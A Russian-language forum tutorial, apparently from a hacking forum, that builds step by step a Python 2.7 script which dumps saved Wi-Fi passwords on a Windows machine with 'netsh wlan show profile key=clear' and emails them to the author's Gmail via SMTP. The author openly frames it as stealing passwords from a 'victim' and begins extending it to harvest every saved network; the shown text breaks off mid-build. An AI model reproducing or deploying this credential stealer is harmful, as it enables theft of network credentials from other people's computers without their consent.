- Автор темы
- #1
И так, сегодня напишем простой, но эффективный сборщик паролей вайфай с помощью Python 2.7 (текст кода актуален до 2020 года, так как в 2020 разработчики python собираются полностью прекратить поддержку версии 2.7, если вы читаете это в 2020 возможно данный мануал уже не актуален, проверяйте на практике.)
Перед началом, работы нам нужно подготовиться и иметь в своем наличии следующее: установить интерпретатор python 2.7, мы будем использовать ОС Windows 10 если у вас какая-то другая ОС то вам нужно установить интерпретатор python 2.7 на вашу систему. Так же нам потребуется текстовой редактор Sublime Text3 или любой другой редактор. (Как это все установить, можно легко найти в интернете.)
И еще нам понадобится почта гугл, это может быть какая-то левая почта для теста, может быть и ваша постоянная почта это не важно. Я рекомендую создать левый гугл аккаунт и почту.
Я надеюсь с установкой всего необходимого вы справились, по этому переходим, к написанию программы(если вы не смогли справится с чем-то из выше написанного сами, закрывайте манул, и забудьте о программирование а тем более о каких-то взломах.)
Перед началом, нам нужно проделать еще небольшие манипуляции с гугл аккаунтом.
Заходим в аккаунт гугл, в боковом меню, переходим в вкладку "Безопасность" листаем в низ до раздела "Ненадежные приложения, у которых есть доступ к аккаунту" нажимаем на кнопку "Открыть доступ(не рекомендуется)" и в открывшимся окне нажимаем на кнопку, рядом с надписью "Небезопасные приложения заблокированы"
Так чтобы кнопка стала синей и было написано "Небезопасные приложения разрешены" Это делается для того, чтобы гугл не блокировал письма, которые мы будет отправлять с помощью нащей программы. Так как пароли от вайфа будут приходит к нам напрямую на почту. Теперь все готов!
Еще небольшое примечание, если в тексте я пишу слово "пишем" то это значит, что далее я прикреплю, часть кода которая будет изменена и будет отличаться от предыдущего кода, это будет означать что вам тоже нужно писать, или изменять свой код так же как вы будете это видеть в новом примере кода.
Если слово "пишем" не написано, и дальше будут какие-то части кода, это будет означать, что я просто объясняю вам, как работает та или иная часть нашей программы и ни чего писать вам в этот момент не нужно.
И еще хочу обратиться к профессорам и учителям, русского языка. Да здесь возможно будет много ошибок так как текста получиться очень много! И по этому для тех кто пришел, посчитать все запятые, желаю приятно время препровождения. Для тех же кто пришел, чему-то научиться, хочу извениться за возможные ошибки, и давайте начинать!
Все что мы будем, делать дальше я буду объяснять максимально простыми словами, для самых самых новичков, у которых нет ни каких знаний программирования так, что хочу сказать "гурам" питона, я понимаю, что вы возможно захотите меня в чем-то поправлять, но этот манул, для совсем совсем новичков.
Прежде чем мы приступим, к написанию самой программы, давайте сначала разберемся как запускать файлы питона с помощью интерпретатора в Windows 10.
1) Чтобы запустить файл питона, нам нужно находиться в той же самой директории(папке) где и расположен наш файл.
2) Нам нужно указать расположение самого интерпретатора питона, чтобы с помощью него запускать наш файл.
3) Нам нужно написать название самого файла.
И так открываем командную строку или на панели задачь в поиске пишем cmd
После открытия командной строки вы скорее всего увидете следующию строку
C:\Users\"имя вашей учетной записи">
Для того чтобы перейти в любую директорию, нам нужно выполнить простую команду "cd" (1 пробел) и имя директории в которую вы хотите перейти. Мой файл питона с нашей программой будет находиться в папке Загрузки(Download) поэтому чтобы мне перейти в директорию с фалом нужно будет ввести первую команду cd Download То есть целиком в строке у вас должно быть:
C:\Users\"имя вашей учетной записи"> cd Download
Нажимаем интер. После этой команды ваша директория должна измениться и в новой строке вы должны увидеть следующие:
C:\Users\"имя вашей учетной записи"\Download>
(в моем случае это папка Download в вашем это может быть любая директория в которой находится ваш файл питона.)
Это значит что в данный момент мы находимся, в директории Download
(Первый этап мы выполнили.) - "1) Чтобы запустить файл питона, нам нужно находиться в той же самой директории (папке) где и расположен наш файл."
Далее нам нужно указать расположения самого интерпретатора питона
У меня он расположен на диске C в папке Python 27 поэтому я пишу следующую комануд С:\Python27\python.exe
В целом у меня получается следующие:
C:\Users\"имя вашей учетной записи"\Download> С:\Python27\python.exe
(Второй этап, пройден) "2) Нам нужно указать расположение самого интерпретатора питона, чтобы с помощью него запускать наш файл"
"3) Указываем название файла." Это совсем просто, мы просто пишем название нашего файла после того как указали расположение интерпретатора.
И так для того, чтобы запускать наш файл мы будем использовать 2 команды.
cd Download - (чтобы перейти в директорию где находится файл, в моем случае это папка Download)
Нажимаем интер. И после того как перешли в нужную директорию следующая команда это:
С:\Python27\python.exe "название файла".py -(перед названием файла, должен быть 1 пробел) и нажимаем интер запускаем наш файл.
Так мы будем запускать наш файл, продублирую еще раз наши команды:
cd Download
С:\Python27\python.exe "название файла".py
Далее я не буду прописывать эти команды в тексте, а буду просто писать "запускаем файл", это значит что вам нужно будет выполнить эти команды в cmd
Но пока запускать нам нечего, по этому давайте создадим наш файл и перейдем непосредственно, к написанию, программы.
Открываем Sublime Text (у меня это Sublime Text3) в левом верхнем углу нажимаем на вкладку File и создаем - New File. У вас откроется пустое окно для написания и редактирования кода.
Теперь давайте превратим этот текстовой файл, в файл питона. В правом нижем углу находим кнопку "Plain Text" нажимаем и в открывшемся окне листаем в низ или в верх с помощью черных треугольных кнопок, пока не найдет надпись Python нажимаем на нее, готова, наш файл питона создан.
Теперь давайте сразу назовем и сохраним его в нужную нам директорию. Снова в левом верхнем углу нажимаем File далее жмем Save as.. выбираем папку куда сохранить файл у меня это будет папка Загрузки, пишем название файла, назовем его wifi_key_report. Тип файла не трогаем там у вас должно быть написано Python. Сохраняем, готово!
И так повторю что мы будем писать, мы с вами напишем, простой сборщик паролей вайфай, который будет отправлять эти пароли прямо к нам на гугл почту. Я буду стараться максимально просто объяснить по ходу написание, что мы делаем, но некоторые вещи, не так просто будет объяснить если у вас нет ни каких знаний, по этому где-то я буду, просто говорить, что писать.
И так после сохранения нашего файла, у вас должен был остаться открытым Sublime Text3 и название файла в верхней вкладке должно было измениться на wifi_key_report.py
И первое с чего мы начнем писать нашу программу это с написания шибанга питона. Является хорошей практикой или правилом хорошего тона начинать писать, любой файл с шибанга. Шибанг это директива, которая сообщает ОС, как нужно обрабатывать этот конкретный файл. И так из-за того, что это файл питона.
Наш шибанг будет следующим - #!/usr/bin/env python
И если вы пишете программу на 2 питоне как в нашем случае то пишем просто - #!/usr/bin/env python
Если вы пишите программу на питоне версии 3 то пишем так - #!/usr/bin/env python3
Еще раз это строка не обязательна, но хорошо если вы возьмете за привычку, всегда прописывать шибанг первой строкой, для файлов питона или других языков программирования.
Двигаемся дальше, в написании программ на питоне как и на другом любом языке программирования, разработчики используют библиотеки. Что бы объяснить, что такое библиотеки, я по пробую сравнить их с приложениями в смартфоне.
Когда нам нужно, выполнить какие-то определенные задачи на смартфоне, а в самом смартфоне ни каких инструментов для этих задач не предусмотрено. В таких случаях мы скачиваем стороннее приложение на смартфон и научившись им пользоваться, поняв его функции и интерфейс мы начинаем его использовать для нашей задачи.
Тоже самое и с библиотеками, это так скажем, модули которые мы добавляем в наш код и зная правила использования конкретного модуля, зная функции и инструменты этих модулей, мы можем их использовать для решения конкретных задач в нашей программе.
Давайте немного отвлечемся от программирования перейдем в командную строку(cmd) в Windows 10 и пропишем простую системную команду, пишем в cmd:
netsh wlan show profile (и нажмем Enter)
После исполнения данной команды, в командной строке вы должны увидеть список все вайфай сетей к которым когда либо был подключен, компьютер на котором вы выполняете эту команду. У меня в данном случае было отображено 2 вайфай сети(названия мои сетей условные у вас на экране будут свои названия сетей).
Все профили пользователя : TP-LINK32432
Все профили пользователя : ROSTELEKOM323C
Мы можем пойти еще дальше и если в конце команды напишем название какой-то конкретной сети в этом случае мы можем получить всю информацию о запрашиваемой вайфай сети. Пишем заново но добавляем новую часть команды:
netsh wlan show profile TP-LINK32432 (и нажимаем Enter)
Но пока эта информация для нас бесполезна, для того чтобы узнать пароль от конкретной вайфай сети нужно к предидущей команде, дописать еще одну часть команды. Пишем:
netsh wlan show profile TP-LINK32432 key=clear
После исполнения этой команды в разделе "Параметры безопасности" в строке
"Содержимое ключа" вы можете увидеть пароль от вайфай сети. Если у вас cmd на английском языке то в вашем случае это будет раздел "Security settings" строка "Key Content" Для того, чтобы очистить экран пишем команду cls
И так давайте в самом начале научим нашу программу выполнять системную команду, которую мы только что рассмотрели.
Для того, чтобы наша программа могла выполнять системные команды нам необходимо, импортировать в нашу программу библиотеку, котрая позволяет выполнять системные команды. Переходим в редактор кода.
И так для того , чтобы импортировать любую библиотеку питона, чтобы в дальнейшем ее использовать в нашей программе. Нужно ввести простую команду import и после написать название библиотеки которую хотите импортировать. Для нашей задачи нам понадобится библиотека subprocess, по этому с новой строки после шибанга пишем:
import subprocess
Важное примечание, многие библиотеки питона предустановленны и сразу будут доступны в виндовс, их можно будет импортировать, с помощью строки которую я написал выше. Но так же у вас могут возникнуть проблемы, с тем что каких-то библиотек нет на вашем компьютере.
Если при запуске нашей программы вы получите ошибку с следующим текстом: (ImportError: No module named "название библиотеки") это будет говорить о том, что библиотека название которой будет указанна в ошибке не может быть использована. И ее нужно установить отдельно.
Для того чтобы установить нужную библиотеку отдельно в командной строке cmd введите следующую команду: С:\Python27\python.exe -m pip install "название библиотеки" Например: С:\Python27\python.exe -m pip install subprocess и дождитесь скачивания и установки модуля.
И так далее после импортирования библиотеки нам нужно создать переменную, отступите 3-4 строки в низ от import, и с начала новой стройки пишем:
command = ""
Мы создали переменную command которая пока равна пустоте ни чему "" но в дальнейшем мы передадим ей команду, которую выполняли чтобы узнать пароли от вайфай. Рассматривайте переменные, как контейнеры или коробки в которые можно что-то положить(сохранить) и эти данные будут там хранится. Далее с начала новой строки после переменной пишем:
subprocess.Popen()
.Popen() - Это метод модуля subprocess который мы импортировали. Рассматривайте методы, как определенные функции или инструменты которые можно настроить в той библиотеки которую мы импортировали. Метод .Popen() - крут тем, что он может исполнять системные команды которые передали этому методу. И продолжает выполнение основной программы, то есть этот метод не ждет пока команда будет выполнена, чтобы продолжить работу основной программы.
Для того чтобы использовать методы библиотек мы пишем название библиотеки которую импортировали. Зачем "точка" и название метода который хотим использовать.
subprocess.Popen()
В конце мы добавляем скобки внутри которых передадим методу атрибуты или если говорить совсем простыми словами, чтобы настроить метод или передать методу определенные данные мы передаем их в скобках. Конечно, прочитав сейчас все это будет сложно сразу понять, все. Но не беспокойтесь сейчас вы все наглядно увидите и поймете.
Для того чтобы метод выполнил команду ему нужно передать переменную в котрой хранится наша команда. И так к этой минуте весь наш код выглядит так:
#!/usr/bin/env python
import subprocess
command = ""
subprocess.Popen()
Для того, чтобы передать методу переменную для выполнения команды, в скобках метода пишем:
#!/usr/bin/env python
import subprocess
command = ""
subprocess.Popen(command, shell=True)
То есть наша переменная command получит нашу команду в кавычки. Мы просто впишем нашу команду в кавычки "" и она будет сохранятся в нашей переменной command. Поэтому пишем в кавычки переменной command = "" нашу команду которую мы писали в cmd:
И так сейчас у нас должен получиться следующий код:
#!/usr/bin/env python
import subprocess
command = "netsh wlan show profile TP-LINK32432 key=clear"
subprocess.Popen(command, shell=True)
Не забывайте, что название вайфай сети, должна быть ваша, а не TP-LINK32432.
Отлично, пока все готово, сейчас наш скрипт, может узнать пароль от конкретной вайфай сети. Но сейчас это мало эффективный скрипт, потому, что он не отправляет отчета о полученном результате нам на почту и может узнать пароль, только от одной конкретной вайфай сети. Давайте это исправим.
Следующим шагом, правильно будет написать функцию отправки полученной информации нам на почту, для этого мы напишем нашу собственную "функцию"
И так для того чтобы создать нашу собственную функцию отправки сообщений нам нужно импортировать новую библиотеку smtplib, импортировать библиотеки можно двумя способами или мы пишем, через запятую в одну строку после команды import
#!/usr/bin/env python
import subprocess, smtplib
command = "netsh wlan show profile TP-LINK32432 key=clear"
subprocess.Popen(command, shell=True)
Или мы можем написать с новой строки полность заново:
#!/usr/bin/env python
import subprocess
import smtplib
command = "netsh wlan show profile TP-LINK32432 key=clear"
subprocess.Popen(command, shell=True)
Оба эти способы верны, выбирайте любой на ваш выбор и импортируйте новую библиотек smtplib самостоятельно. Написали? отлично.
Давайте создавать нашу функцию. Для того чтобы создать функцию в питоне пишем ключевое слово def и после, пишем название функции с маленькой буквы, в конце ставим круглые скобки и двоеточие, назовем нашу функцию send_mail и так пишем:
#!/usr/bin/env python
import subprocess, smtplib
def send_mail():
command = "netsh wlan show profile TP-LINK32432 key=clear"
subprocess.Popen(command, shell=True)
Что такое функции? Воспринимайте функции, как набор инструкций для определенной части нашей программы, то есть сейчас мы создадим отдельную программу внутри нашей основной программы, пропишем ей правила того как она будет работать, чтобы эта отдельная часть программы отправляла результаты нашей программы нам на почту. И так!
Наша функция будет принимать на вход 3 аргумента, email, password, message, пишем в скобках функции:
#!/usr/bin/env python
import subprocess, smtplib
def send_mail(email, password, message):
command = "netsh wlan show profile TP-LINK32432 key=clear"
subprocess.Popen(command, shell=True)
Что значит принимать на вход? Пока об этом не думайте, дальше поймете что это значит. Если коротко говорить о том, что это значит. То когда мы передавали методу .Popen() нашу переменную command он принимал ее на вход.
То есть сейчас мы говорим нашей функции, что ты примешь от нас 3 тип данных, это логин нашей почты, пароль нашей почты и отправишь нам сообщение. Сейчас мы учим, нашу функцию, даем ей инструкции того как она будет работать..
Важное примечание, код который является частью функции, пишется внутри функции, то есть пишется с отступом. То есть код который относится к функции, считается только тем кодом, который имеет отступ, чтобы сделать отступ сначала строки нажмите кнопку Tab и только потом пишите код, если же ваш код написан с самого начала новой строки, то этот код не является частью функции а считается, отдельной частью программы. Будьте внимательны с этим, иначе ваша функция будет работать не корректно, в следствии естественно и программа запустится с ошибками.
Далее мы создаем, экземпляр smtp сервера. Сложно объяснить простыми словами следующие несколько строк, но я по пробую, Например когда вы отправляете сообщение с вашей почты на почту другого человека, программа похожая, на ту что мы напишем далее, выполняет саму эту отправку от вас и доставку к другому человеку вашего письма.
Пу сути, сейчас мы создадим, мини версию такой программы, такого сервера для отправки писем прям в нашей программе. Для этого нам и потребуется библиотека smtplib которую мы импортировали ранее. И так с новой строки нажимаем Tab то есть отступ, так как следующие несколько строк, будут являться часть функции, и пишем:
#!/usr/bin/env python
import subprocess, smtplib
def send_mail(email, password, message):
server = smtplib.SMTP("")
command = "netsh wlan show profile TP-LINK32432 key=clear"
subprocess.Popen(command, shell=True)
Этой строкой server = smtplib.SMTP("") по сути мы и создаем тот самый механизм тот самый сервер, который далее мы обучим и объясним ему что ему делать. В кавычках мы должны указать сервер который мы будем использовать, а после кавычек его порт. Что такое порты и для чего они нужны, советую почитать самостоятельно. Мы будем использовать smtp сервер google потому что google позволяет пользователям, использоваться свои почтовые сервера.
Еще раз обратите внимание что строка server = smtplib.SMTP("") имеет отступ а не начинается сначала строки, таким образом все что имеет отступ автоматически становится частью нашей функции, если бы эта страка не имела отступа, она считалась бы как отдельная часть кода и функция работала бы не корректно.
И так продолжаем пишем в скобках строки server = smtplib.SMTP("") следующее:
#!/usr/bin/env python
import subprocess, smtplib
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
command = "netsh wlan show profile TP-LINK32432 key=clear"
subprocess.Popen(command, shell=True)
И так это smtp сервер гугл "smtp.gmail.com" а это его порт 587, вот этой частью строки : smtplib.SMTP("smtp.gmail.com", 587) мы сказали что будем использовать smpt сервер гугла и передали его в переменную server. То есть по сути сейчас переменная server это и есть сервер который будет передавать, нам наши сообщения. Двигаемся дальше, пишем с новой строки и не забываем про отступ, пишем server.starttls():
#!/usr/bin/env python
import subprocess, smtplib
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
command = "netsh wlan show profile TP-LINK32432 key=clear"
subprocess.Popen(command, shell=True)
Теперь когда в переменной sever находится, наш экземпляр сервера гугл, нам нужно его настроить, строка server.starttls() устанавливает TLS соединение, о том, что это такое TLS соединение, рекомендую ознакомиться самостоятельно. Иначе этот мануал превратиться в книгу. Двигаемся дальше пишем следующую строку, следующая строка внутри нашей функции будет server.login(email, password):
#!/usr/bin/env python
import subprocess, smtplib
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
command = "netsh wlan show profile TP-LINK32432 key=clear"
subprocess.Popen(command, shell=True)
И так, давайте еще раз проанализируем, что к этому моменту мы написали в нашей фунции, давайте разберем весть код нашей функции, чтобы понять последнюю строку, которую мы написали, только что, и так:
def send_mail(email, password, message):
Мы создали функцию, наша функция получит от нас наш логин почты и пароль и сообщение которое нужно будет отправить на нашу почту. Но пока не обращайте внимание на слово "message". Далее:
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
Далее мы создаем экземпляр сервера гугл, этой строкой - server = smtplib.SMTP("smtp.gmail.com", 587 ) Здесь мы объяснили функции какой именно серве мы будем использовать и на каком порте он работает. Далее:
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
Мы устанавливаем TLS соединение с сервером с помощью строки: server.starttls()
#!/usr/bin/env python
import subprocess, smtplib
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
command = "netsh wlan show profile TP-LINK32432 key=clear"
subprocess.Popen(command, shell=True)
И теперь последней строкой которую мы написали server.login(email, password) мы авторезируемся в нашей почте.
То есть вот здесь def send_mail(email, password, message): функция, получит от нас наш логин и пароль, потом программа выполнить следующие строки кода и дойдя до этой строки: server.login(email, password), выполнит эту строку. То есть авторизируется в нашей почте, это все равно, что мы бы зашли на почту гугл и вошли бы в наш почтовый ящик используя наш логин и пароль.
То есть Функция - def send_mail(email, password, message): передаст этой строке - server.login(email, password) полученные от нас логин и пароль, для того чтобы эта строка выполнила вход в нашу почту. Именно для этого мы включали в самом начале разрешение в гугл аккаунте, иначе бы гугл блокировал этот вход. Надеюсь понятно, двигаемся дальше, и с новой строки с отступом пишем новую строку внутри нашей функции - sever.sendmail(email, email, message):
#!/usr/bin/env python
import subprocess, smtplib
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
sever.sendmail(email, email, message)
command = "netsh wlan show profile TP-LINK32432 key=clear"
subprocess.Popen(command, shell=True)
И так строка sever.sendmail(email, email, message) будет отправлять то самое сообщение, точнее содержимое нашего сообщения нам на почту. По сути, эта функция .sendmail() принимает на вход 3 аргумента: 1 аргумент это откуда мы отправляем (email,) второй аргумент это куда мы отправляем (email,) и 3 аргумент это что мы отправляем (message).
Этой строкой sever.sendmail(email, email, message) мы говорим, что будем отправлять сообщение с почты на почту, но так как мы будем передавать функции только 1 почту, нашу. То этой строкой мы по сути отправим сообщение сами себе. А то самое сообщение (message) мы получим когда передадим его в нашу функцию в переменную (message) вот здесь def send_mail(email, password, (message)):
Да наверно сейчас все, стало, только еще сложнее для понимания, но вы все поймете когда мы закончим с кодом. И так когда мы закончили работу с сервером, а мы закончили с ним работу его нужно закрыть, по этому пишем с новой строки, не забываем про отступ server.quit():
#!/usr/bin/env python
import subprocess, smtplib
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile TP-LINK32432 key=clear"
subprocess.Popen(command, shell=True)
И закрываем сервер строкой server.quit()
Отлично, теперь у нас есть функция, для передачи сообщений. И здорово, что теперь мы можем использовать эту функцию, в любой другой программе, мы просто можем скопировать эту часть кода:
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
И вставить ее в любую другу программу, если нам понадобится реализовать, функцию, отправки сообщений. И так давайте продолжим, у нас есть еще над чем по работать в нашем коде. На данный момент весь наш код выглядит так:
#!/usr/bin/env python
import subprocess, smtplib
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile TP-LINK32432 key=clear"
subprocess.Popen(command, shell=True)
И сейчас у нас есть проблема, дело в том что метод .Popen() в этой строке: subprocess.Popen(command, shell=True). Не запоминает, полученный результат, команды. То есть он выполняет нашу системную команду "netsh wlan show profile TP-LINK32432 key=clear" но он ни где не сохраняет результат(пароли) выполнения этой команды. По этому нам нужно заменить этот метод на более подходящий и так в той же строке меняем метод .Popen() на метод .check_output() :
#!/usr/bin/env python
import subprocess, smtplib
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile TP-LINK32432 key=clear"
subprocess.check_output(command, shell=True)
Отлично, метод .check_output() не просто сохраняет полученный от выполнения команды результат, а ему нужно куда его передать, потому что он не может его сохранить сам в себя, поэтому всю это строку subprocess.check_output(command, shell=True) нам нужно приравнять к какой-то переменной, чтобы метод .check_output() мог сохранить информацию в переменную, по этому изменяем строку дальше и создаем в той же строке переменную, в которой будут находиться наши пароли, пишем result с начала строки и ставим знак = :
#!/usr/bin/env python
import subprocess, smtplib
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile TP-LINK32432 key=clear"
result = subprocess.check_output(command, shell=True)
Отлично, теперь в переменной result будет хранится вся информация полученная после выполнения нашей системной команды: "netsh wlan show profile TP-LINK32432 key=clear"
Будем двигаться дальше осталось совсем не много, и так мы написали функцию отправки сообщения, но мы ни где ее не вызвали. То есть вот в этой части кода:
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
Мы только написали саму функцию и прописали для нее инструкции того как она будет работать. Но чтобы она заработала нужно ее вызвать, давайте это и сделаем. Вызываем нашу функцию send_mail в самом низу нашего кода, пишем с начала новой строки send_mail("[email protected]", "1234321", result):
command = "netsh wlan show profile TP-LINK32432 key=clear"
result = subprocess.check_output(command, shell=True)
send_mail("[email protected]", "1234321", result)
И так строкой send_mail("[email protected]", "1234321", result) мы вызываем нашу только написанную функцию и как раз и передаем на вход все необходимые аргументы. И теперь должно быть все понятно, и так:
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
send_mail("[email protected]", "1234321", result)
Вот теперь смотрите когда мы вызвали функцию мы передали ей 3 параметра на вход здесь: send_mail("[email protected]", "1234321", result) то есть мы указали логин нашей почты - ("[email protected]",) пароль от нашей почты - ("1234321",) и наше сообщение - (result,) И наша функция приняла от нас все эти данные и подставила их в самую первую строку нашей функции здесь - (def send_mail(email, password, message):)
То есть строка def send_mail(email, password, message): за место (email, password, message):
Подставила то что мы ей передали вот тут: send_mail("[email protected]", "1234321", result)
И дальше начала работать наша функция, выполнять те инструкции которые мы ей написали, теперь давайте разберемся, как мы получаем наше сообщение с паролем если вы забыли, возьмем только только нижнюю часть нашего кода без кода функции.
command = "netsh wlan show profile TP-LINK32432 key=clear"
result = subprocess.check_output(command, shell=True)
send_mail("[email protected]", "1234321", result)
И так мы написали нашу команду "netsh wlan show profile TP-LINK32432 key=clear" и сохранили эту команду в переменной command
command = "netsh wlan show profile TP-LINK32432 key=clear"
Далее переменную command мы передали функции subprocess.check_output для того чтобы команда была выполнена, то есть фактически мы сказали: то что хранится в переменной command выполни вот здесь:
result = subprocess.check_output(command, shell=True)
Затем функция .check_output получила результат от системной команды и передала его в переменную result то есть в переменной result уже хранится, вся информация, которую мы получали когда выполняли команду "netsh wlan show profile TP-LINK32432 key=clear"
И за тем мы передали переменную result в нашу функцию последним аргументом, после логина и пароля:
send_mail("[email protected]", "1234321", result)
То есть мы сказали функции, что то что хранится в result и есть то сообщение которое мы хотим получить на нашу почту.
И когда мы вызвали нашу функцию в низу программы, мы все это передали ей:
("[email protected]", "1234321", result)
И так на данный момент, весь наш код выглядит так:
#!/usr/bin/env python
import subprocess, smtplib
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile TP-LINK32432 key=clear"
result = subprocess.check_output(command, shell=True)
send_mail("[email protected]", "1234321", result)
Помните что вот тут send_mail("[email protected]", "1234321", result), за место [email protected] и 1234321 вы подставляйте в кавычки, ту гугл почту и пароль на которую вы хотите получить, сообщение с результатом. И самое время проверить, работает ли наш скрипт. И так сначала сохраняем наш результат, находясь в редакторе кода нажимаем сочетание клавиш ctrl + S
За ходим в cmd и выполняем следующие команды:
1) cd Download - (в вашем случаем вместо Download вы пишите, свою дерикторию в которой находится ваш файл питона с программой)
2) С:\Py thon27\python.exe wifi_key_report.py
Если вы не выходили из cmd и не переходили в другу дерикторию, то вам не нужно вводить 1 команду, сразу набирайте команду номер 2
Отлично, у меня все работает, а как у вас? В этот момент, вы должны получить письмо на указанную, гугл почту. С паролем, от той вайфай сети которую вы указали в системной команде.
Я еще раз продублирую весь код нашей программы:
#!/usr/bin/env python
import subprocess, smtplib
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile TP-LINK32432 key=clear"
result = subprocess.check_output(command, shell=True)
send_mail("[email protected]", "1234321", result)
Будь внимательны ко всем кавычкам, запятым, скобкам пробелам и двоеточиям, если вы что-то забудете или пропустите, ваша программа запустится с ошибкой и ни какого письма вы не получите.
Так же будьте внимательный к названию вашей вайфай сети, которую вы указали в команде и ко всем данным которые вы передавали функции, логин, пароль. Если, что-то из этого будет не верным, вы не сможете получить сообщение на почту и ваша программа запуститься с ошибкой.
И так я поздравляю тех у кого все получилось, на данный момент, мы с вами написали, очень неплохую программу которая ворует пароли от сети вайфай и отправляет их нам на почту. Но она не идеальна, дело в том что сейчас мы можем получить пароль только от конкретной вайфай сети которую мы указали в системной команде.
И для того, чтобы нам получить пароль от сети реальной жертвы, для этого нам нужно знать, название вайфай сети жертвы от которой мы хотим получить пароль.
По этому в реальной ситуации нашу программу практически невозможно будет использовать. А если мы все таки узнаем название нужной нам сети жертвы и захотим узнать пароль от этой сети, нам нужно будет в этой строке:
command = "netsh wlan show profile TP-LINK32432 key=clear"
Изменять, название в самом коде программы, это считается не самой лучшей практикой программирования, в общем это очень не удобно. И практически не применимо в реальном взломе.
И меня это не устраивает, по этому давайте изменим нашу программу так, чтобы она отправляла пароли от всех вайфай сетей, к которым когда либо был подключен конкретный компьютер, на котором мы будем запускать наш скрипт.
Для того, чтобы решить эту задачу, нам по требуется изменить нашу написанную, программу. И так первое что нам нужно изменить, это сделать так, чтобы наша системная команда в этой строке:
command = "netsh wlan show profile TP-LINK32432 key=clear"
Просто показывала все вайфай сети, к которым когда либо была подключена жертва.
Такую команду мы с вами уже рассматривали выглядит она следующим образом:
netsh wlan show profile
По этому изменяем наш код в строке : command = "netsh wlan show profile TP-LINK32432 key=clear", чтобы он выглядит следующим образом command = "netsh wlan show profile" :
#!/usr/bin/env python
import subprocess, smtplib
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile"
result = subprocess.check_output(command, shell=True)
send_mail("[email protected]", "1234321", result)
Далее так как наша системная команда теперь показывает просто все вайфай сети а не ворует пароль, давайте переименуем переменную result в переменную networks(сети), и так весь наш код, сейчас должен выглядеть следующим образом:
#!/usr/bin/env python
import subprocess, smtplib
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
send_mail("[email protected]", "1234321", result)
Отлично, далее наступает, наверно самый сложный момент в нашей программе, для объяснения. Потому что далее в коде мы будем использовать регулярные выражения, списки и циклы. И для человека, у которого, нет хотя бы базовых знаний программирования, будет сложно это все представить в голове, но мы не ищем легких путей, поэтому давайте пробовать. И так следующий кусок кода, мы напишем между эти двумя строками:
networks = subprocess.check_output(command, shell=True)
send_mail("[email protected]", "1234321", result)
Так что разделяйте их уже сейчас, чтобы между ними были хотя бы 2-3 строки свободного места вот так:
#!/usr/bin/env python
import subprocess, smtplib
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
send_mail("[email protected]", "1234321", result)
Отлично, следующим шагом мы будем использовать регулярные выражения. Для того чтобы использовать регулярные выражения, нам снова нужно импортировать новый модуль, который нам и поможет в выполнении нашей задачи. Ставим запятую после smtplib "пробел" и пишем название нового модуля который называется всего двумя буквами re сейчас наш весь код должен выглядеть так:
#!/usr/bin/env python
import subprocess, smtplib, re
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
send_mail("[email protected]", "1234321", result)
Отлично мы добавили, модуль для работы с регулярными выражениями re.
Далее мы будем с вами действовать таким способом, я буду просто вписывать в код очередную новую строку кода, вы так же ее вписывайте у себя в редакторе и после я буду пытаться объяснить вам, что мы только что написали, договорили? Погнали..
Следующая строка которую мы впишем, будет не одна строка а сразу 2, выглядеть эти 2 строки будут так:
network_names = re.findall("(?:.*\s*:\s)(.*\r)", networks)
print(network_names)
И впишем мы их вот здесь:
#!/usr/bin/env python
import subprocess, smtplib, re
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names = re.findall("(?:.*\s*:\s)(.*\r)", networks)
print(network_names)
send_mail("[email protected]", "1234321", result)
